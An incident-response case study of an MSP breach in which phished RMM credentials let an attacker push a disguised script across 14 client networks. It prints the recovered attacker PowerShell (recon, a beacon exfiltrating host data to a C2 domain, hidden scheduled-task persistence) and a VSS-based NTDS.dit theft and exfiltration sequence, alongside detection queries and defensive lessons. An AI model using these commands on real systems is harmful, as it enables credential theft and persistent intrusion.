The Keys to Every Kingdom

The following is a lightly anonymised account of a real DFIR engagement. The MSP and all client identifiers have been altered or generalised. All technical artifacts, commands, and findings are presented as they occurred. We are publishing this case because MSP compromise is structurally underreported — clients often never learn their environment was accessed — and because the detection gap between ‘legitimate RMM traffic’ and ‘attacker using legitimate RMM traffic’ is smaller than most people think, if you know where to look.

The Engagement

How We Were Called In

The MSP — a 22-person shop serving small and mid-size businesses across three provinces — called us on a Wednesday morning. Their ConnectWise Automate administrator had noticed something the previous evening while reviewing a routine report: a script had been executed across 31 managed endpoints at 2:14 AM. The script was named Windows Defender Update — Mandatory. It had been deployed by a technician account belonging to a helpdesk analyst who had been on paternity leave for two weeks.

The Automate admin had immediately disabled the account. Then he had stared at the screen for about an hour before calling his manager. His manager had called us. This is, for the record, the correct sequence of events. More MSPs should follow it.

Scope and Immediate Triage

By the time we were engaged, the compromised technician account had been disabled — approximately 6 hours after the script execution. The MSP served 14 active clients. The RMM platform (ConnectWise Automate) had agent coverage across all 14 environments, totalling 312 managed endpoints. Every one of them had potentially been touched.

We stood up a war room at the MSP’s office and broke the team into three tracks: MSP forensics (how was the account compromised and what was the full extent of platform access?), client triage (which of the 14 environments had been actively targeted beyond the initial script?), and client notification (legal and regulatory obligations for a supply chain breach are complex and time-sensitive). All three tracks ran in parallel from day one.

Finding 1: Initial Access — Phished RMM Credentials

The compromised account was a local ConnectWise Automate account — not federated through Azure AD or SSO. This was the first structural problem. Local Automate accounts have no MFA enforcement by default and are authenticated against a MySQL credential store that predates modern identity security. The MSP had federated their Microsoft 365 accounts (correctly, with MFA) but had never reviewed their RMM platform’s authentication model.

-- Query ConnectWise Automate MySQL audit log for compromised account activity
-- (run against Automate DB server, requires DBA access)
SELECT
  au.EntryDate,
  au.UserName,
  au.Message,
  au.IPAddress,
  au.ComputerID,
  c.Name AS ClientName
FROM audituserlog au
LEFT JOIN computers comp ON comp.ComputerID = au.ComputerID
LEFT JOIN clients c ON c.ClientID = comp.ClientID
WHERE au.UserName = 'j.████████'
  AND au.EntryDate >= DATE_SUB(NOW(), INTERVAL 30 DAY)
ORDER BY au.EntryDate ASC;

-- First anomalous login (excerpt):
EntryDate               UserName      Message         IPAddress       ClientName
2024-██-██ 01:47:33     j.████████    User Login      91.108.██.██    (MSP internal)

-- 91.108.xx.xx = Telegram CDN range (commonly abused by threat actors for relay)
-- Technician's known IP: residential Rogers CGNAT block, Toronto
-- Technician: confirmed on paternity leave, device offline

Working backward from the 01:47 login, we recovered browser artifacts from the technician’s company laptop. Chrome history confirmed he had visited a typosquatted ConnectWise partner portal on his last working day before leave:

# Chrome History analysis — phishing site visit identified on technician's last day before leave

import sqlite3, datetime

CHROME_EPOCH_OFFSET = 11644473600
conn = sqlite3.connect('History')
rows = conn.execute("""
  SELECT url, title,
    datetime((visit_time/1000000) - 11644473600, 'unixepoch', 'localtime') AS visit_time
  FROM urls JOIN visits ON urls.id = visits.url
  WHERE visit_time > (strftime('%s','2024-██-██') + 11644473600) * 1000000
  ORDER BY visit_time ASC
""").fetchall()
for url, title, ts in rows:
    print(f'{ts}  {title[:60]:<60}  {url[:80]}')

# RESULT (excerpt — last active day before leave):
# Timestamp               Title                                    URL
# 2024-██-██ 16:22:41   ConnectWise Partner Portal - Sign In    hxxps://connectwise-████████-portal[.]net/login
# 2024-██-██ 16:23:04   ConnectWise Partner Portal              hxxps://connectwise-████████-portal[.]net/dashboard
# 2024-██-██ 16:23:19   (blank — redirect)                      hxxps://connectwise-████████-portal[.]net/account/verify

# connectwise-████████-portal[.]net — NOT ConnectWise's actual domain
# Legitimate: partner.connectwise.com
# Lookalike registered: 2024-██-██ (6 days before the technician's last day)

Finding 2: Reconnaissance — The Billing Portal as Intelligence

The MSP used ConnectWise Manage (PSA) alongside ConnectWise Automate (RMM). In their deployment, the same local account credentials granted access to both systems. At 01:47, the attacker logged into Automate. At 01:53, the same session pivoted to Manage — six minutes later — and began pulling reports.

# ConnectWise Manage audit trail — attacker pulling ARR reports to prioritise targets by contract value

import pandas as pd
df = pd.read_csv('manage_audit_export.csv')
df = df[df['User'] == 'j.████████'].sort_values('Date')
print(df[['Date','Action','Entity','Description']].to_string())

# RESULT (first 20 minutes of Manage access):
Date                    Action   Entity        Description
2024-██-██ 01:53:04    View     Report        'Agreement Summary by Client' — all clients
2024-██-██ 01:53:41    View     Report        'Active Agreements' — contract values + renewal dates
2024-██-██ 01:54:22    View     Report        'Agreement Revenue Summary' — ARR per client
2024-██-██ 01:55:08    View     Company       ████████████ Legal Group (largest contract: $8,400/mo)
2024-██-██ 01:55:31    View     Company       ████████ Financial Advisors (second largest: $6,200/mo)
2024-██-██ 01:56:10    View     Company       ████████ Manufacturing Inc. (third: $5,800/mo)
2024-██-██ 01:57:03    View     Configuration  [All servers — ████████ Legal Group]
2024-██-██ 01:57:44    View     Configuration  [All servers — ████████ Financial Advisors]
# ... 47 more configuration views across top 5 clients by revenue

In eleven minutes, the attacker had read the MSP’s full client list, ranked them by monthly recurring revenue, identified the top five by contract value, and enumerated the server configurations for those five clients from the PSA. They knew the client names, the contract values, the technical contacts, the number of servers, and the operating system versions — all from a single compromised helpdesk account with no escalated privileges.

This is the aspect of MSP compromise that is structurally different from a direct organisation breach. An attacker who compromises a mid-market company gets information about one organisation. An attacker who compromises an MSP gets information about every organisation the MSP serves, aggregated into a single administrative interface designed for efficiency. The PSA is not a security system. It is a business operations system. It was not designed with the assumption that an attacker would be reading it.

Finding 3: Execution — RMM as Command and Control

At 02:14 AM — 27 minutes after initial login — the attacker executed the first script via ConnectWise Automate. The script was named Windows Defender Update — Mandatory and was executed against all agents across all 14 client environments simultaneously. ConnectWise Automate allows scripts to be targeted by client, by group, or by the entire managed fleet. The attacker targeted the entire fleet.

# Recovered script content (from ConnectWise Automate Script Library — attacker left it behind)
# Script name: 'Windows Defender Update - Mandatory'
# Created by: j.████████  |  02:09:41 (created 5 minutes before execution)

# --- STAGE 1: Recon (encoded, decoded here) ---
$hostname = $env:COMPUTERNAME
$domain   = (Get-WmiObject Win32_ComputerSystem).Domain
$os       = (Get-WmiObject Win32_OperatingSystem).Caption
$ip       = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.PrefixOrigin -ne 'WellKnown'}).IPAddress -join ','
$user     = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$av       = (Get-MpComputerStatus).AMProductVersion

# --- STAGE 2: Exfil beacon (HTTPS POST to attacker C2) ---
$payload = @{ h=$hostname; d=$domain; o=$os; i=$ip; u=$user; av=$av } | ConvertTo-Json -Compress
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$wc = New-Object System.Net.WebClient
$wc.Headers['Content-Type'] = 'application/json'
$wc.Headers['User-Agent']   = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0'
$wc.UploadString('hxxps://analytics-cdn-update[.]com/v2/telemetry', $payload)   # C2

# --- STAGE 3: Scheduled task persistence ---
$action  = New-ScheduledTaskAction -Execute 'powershell.exe' \
           -Argument '-w hidden -enc [BASE64_STAGE2_LOADER]'
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 15) -Once \
           -At (Get-Date)
Register-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskMachineUA' \
  -Action $action -Trigger $trigger -RunLevel Highest -Force | Out-Null

The script executed successfully on 271 of 312 managed endpoints — 41 were offline at 2:14 AM. Each successful execution sent a JSON beacon to analytics-cdn-update[.]com containing the hostname, domain, OS version, IP address, current user context, and AV product version. Within 20 minutes, the attacker had a structured inventory of 271 endpoints across 14 organisations, sorted by domain.

The scheduled task — named MicrosoftEdgeUpdateTaskMachineUA, a name deliberately chosen to blend with legitimate Edge update tasks — was set to fire every 15 minutes. It loaded a second-stage PowerShell payload from the C2. On the endpoints we analysed, the second stage had only been retrieved on a subset — the attacker was prioritising based on the beacon data they had received.

Finding 4: Targeted Escalation — NTDS.dit Extraction

The attacker did not move against all 14 clients equally. Based on their PSA reconnaissance and the beacon data, they selected two priority targets: a regional law firm (the MSP’s largest client by ARR) and a financial advisory practice (the second largest). Both had Active Directory environments. Both had domain controllers managed by the MSP’s RMM agent — running as SYSTEM.

At 03:41 AM, 87 minutes after initial access, the second-stage C2 payload executed a live NTDS.dit extraction against the law firm’s primary domain controller. The technique used was the VSS shadow copy method — no Mimikatz, no LSASS dump, no EDR-triggering in-memory credential access. Just standard Windows administrative tools used for purposes they were not intended for.

# NTDS.dit extraction via VSS — recovered from RMM session command history
# Executed as SYSTEM via ConnectWise Automate 'Run Command' function
# Target: LAW-DC01 (primary DC, ████████ Legal Group)

# Step 1: Create VSS shadow copy
vssadmin create shadow /for=C:
# Output: Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4

# Step 2: Copy NTDS.dit and SYSTEM hive from shadow
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\NTDS\ntds.dit C:\Windows\Temp\NtdsAudit.tmp
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\System32\config\SYSTEM C:\Windows\Temp\SysAudit.tmp

# Step 3: Exfil via C2 (PowerShell — recovered from Temp)
$bytes = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\NtdsAudit.tmp')
$b64   = [Convert]::ToBase64String($bytes)
# Chunked upload to analytics-cdn-update[.]com/v2/upload (10MB chunks, HTTPS)

# Step 4: Cleanup (VSS delete + temp file removal)
vssadmin delete shadows /shadow={a3f2████-████-████-████-████████████} /quiet
del C:\Windows\Temp\NtdsAudit.tmp /F /Q
del C:\Windows\Temp\SysAudit.tmp /F /Q

# NTDS.dit file size: 186 MB  |  Upload duration: ~4 minutes
# SYSTEM hive: 17 MB  |  Both files = all domain credentials, offline crackable

With the NTDS.dit and SYSTEM registry hive, the attacker had the offline equivalent of every password hash in the law firm’s Active Directory — every user account, every service account, every administrator. An identical extraction was performed against the financial advisory firm’s DC at 04:07 AM, 26 minutes later. Same technique. Same cleanup. Two domain credential databases, representing 187 combined user accounts, were in the attacker’s hands before 5 AM.

Finding 5: Detection — How a Script Report Caught What EDR Missed

The detection was almost accidental. The MSP’s Automate administrator reviewed the morning script execution report as part of a weekly routine — not a daily one — and noticed that a script had run across the entire fleet at 2 AM. He had not been paged. The EDR deployed across most client endpoints had not alerted. The C2 traffic was HTTPS to a domain with a clean VirusTotal reputation at the time of execution.

This is the structural detection problem with RMM-based attacks: the attacker’s commands arrive through the same channel as legitimate administrative commands. The EDR sees PowerShell executing, but PowerShell executed by an RMM agent running as SYSTEM is normal. The only anomaly visible without the Automate audit log is the script execution at 2 AM — and that is only visible if someone is looking at the right report.

# Recommended Automate monitor — scheduled task validation by execute path
# Key insight: task NAME matching alone is insufficient
# A task named MicrosoftEdgeUpdateTaskMachineUA that runs powershell.exe is NOT an Edge updater

$task = Get-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskMachineUA'
$task.Actions.Execute
# Should be: C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
# Attacker's task Execute: powershell.exe  ← MISMATCH → alert

# Effective detection: TaskName matches baseline BUT Execute path != expected binary
Get-ScheduledTask | Where-Object {
  $_.State -ne 'Disabled' -and
  $_.Date -gt (Get-Date).AddHours(-4)
} | ForEach-Object {
  [PSCustomObject]@{
    TaskName = $_.TaskName
    Created  = $_.Date
    RunAs    = $_.Principal.UserId
    Action   = $_.Actions.Execute
    Args     = $_.Actions.Arguments
  }
}

Finding 6: Blast Radius — 14-Client Triage

# Cross-client triage — DNS query evidence for C2 callback
# (Queried from MSP's DNS resolver logs — all clients routed through MSP-managed DNS)

grep 'analytics-cdn-update.com' /var/log/named/queries.log | \
  awk '{print $1, $2, $5, $8}' | \
  sort | uniq -c | sort -rn

# Group by client network (MSP maintains IP→client mapping):
# Client                      DNS queries   First seen     Last seen
# ████████ Legal Group         312           02:14:03       08:29:44   ← active C2 callback
# ████████ Financial Advisors  198           02:14:11       06:51:20   ← active C2 callback
# ████████ Manufacturing       89            02:14:18       02:47:03   ← beacon only, no C2 follow-up
# ████████ Dental Associates   67            02:14:22       02:14:22   ← single beacon, no callback
# [10 additional clients]       various       02:14:xx       02:14:xx   ← beacon only

# Tier classification based on post-beacon C2 activity:
# TIER 1 (active targeting): 2 clients — ongoing C2, NTDS extraction confirmed
# TIER 2 (beaconed, no follow-up): 12 clients — scheduled task installed, no active ops
# All 14: scheduled task 'MicrosoftEdgeUpdateTaskMachineUA' present on 271 endpoints

The triage produced a clear two-tier picture: two clients had been actively operated against (NTDS extraction, ongoing C2 callbacks, evidence of hands-on-keyboard activity beginning around 04:30 AM), and twelve clients had the persistence mechanism installed but had not been further targeted before the account was disabled at 08:20 AM. The 6-hour detection window was the difference between two clients with confirmed credential compromise and twelve that had gotten away with a scheduled task they needed to remove.

Notification went to all 14 clients, with different content depending on tier. The two Tier 1 clients received full incident disclosure, forensic reports, and support through regulatory notification processes (one was subject to PIPEDA; the law firm had obligations around client privilege and the Law Society). The twelve Tier 2 clients received a disclosure of the MSP compromise, confirmation of the scheduled task installation and removal, and a written assurance that no credential-level access had been confirmed — with the honest caveat that absence of evidence is not evidence of absence.

Reconstructed Attack Timeline

What This Engagement Teaches Us

For Incident Responders

1. MSP compromises require a multi-tenant investigation framework from day one. Stand up client-tiering within the first two hours using DNS resolver logs, RMM script execution logs, and C2 callback frequency — these three data sources will separate active targeting from passive persistence across all clients faster than any per-client forensic collection.
2. The RMM audit log is your primary evidence source in MSP compromises, not the endpoint. All attacker commands flow through the RMM; the audit log captures them. Preserve it immediately — default retention in ConnectWise Automate is 90 days in MySQL, and it does not rotate, but the database can be overwritten if the server is rebuilt during remediation.
3. PSA data (billing portal, contract values, client configurations) is a target-prioritisation artifact. Pull the Manage audit log alongside the Automate log — it tells you which clients the attacker decided to target and why, which directly informs your remediation priority.
4. Credential reset scope after NTDS.dit extraction is total. Every account hash in the extracted dit file is compromised — not just active accounts, but disabled accounts, stale service accounts, and accounts created and deleted years ago whose hashes were reused elsewhere. The reset must be complete or it is not a reset.

For MSPs & Security Engineers

1. MFA on your RMM platform is not optional. ConnectWise Automate local accounts bypass your M365 MFA entirely — they are a separate credential store with a separate authentication path. Federate your RMM through your IdP (Azure AD SSO), enforce Conditional Access, and eliminate local accounts. This is the single control that would have prevented this incident.
2. Restrict RMM access to specific IP ranges or require a VPN for remote access. A ConnectWise Automate session from a Telegram CDN IP at 2 AM should have been impossible, not just suspicious. Geographic and IP-based access policies are table stakes for any platform that has SYSTEM access to every managed endpoint.
3. Your PSA billing system contains a complete intelligence briefing on your own attack surface. The client list, contract values, and server configurations that the attacker read in 11 minutes are available to every helpdesk account by default. Review your Manage role permissions — restrict revenue reporting to management roles, and consider whether helpdesk accounts need access to all client configuration records.
4. Run a scheduled task baseline and deviation monitor across your managed fleet. Task name matching is not enough — validate the Execute path and run-as context against known-good baselines. A task named MicrosoftEdgeUpdateTaskMachineUA that runs powershell.exe is not an Edge updater. If you manage 300 endpoints, you need this monitor running automatically.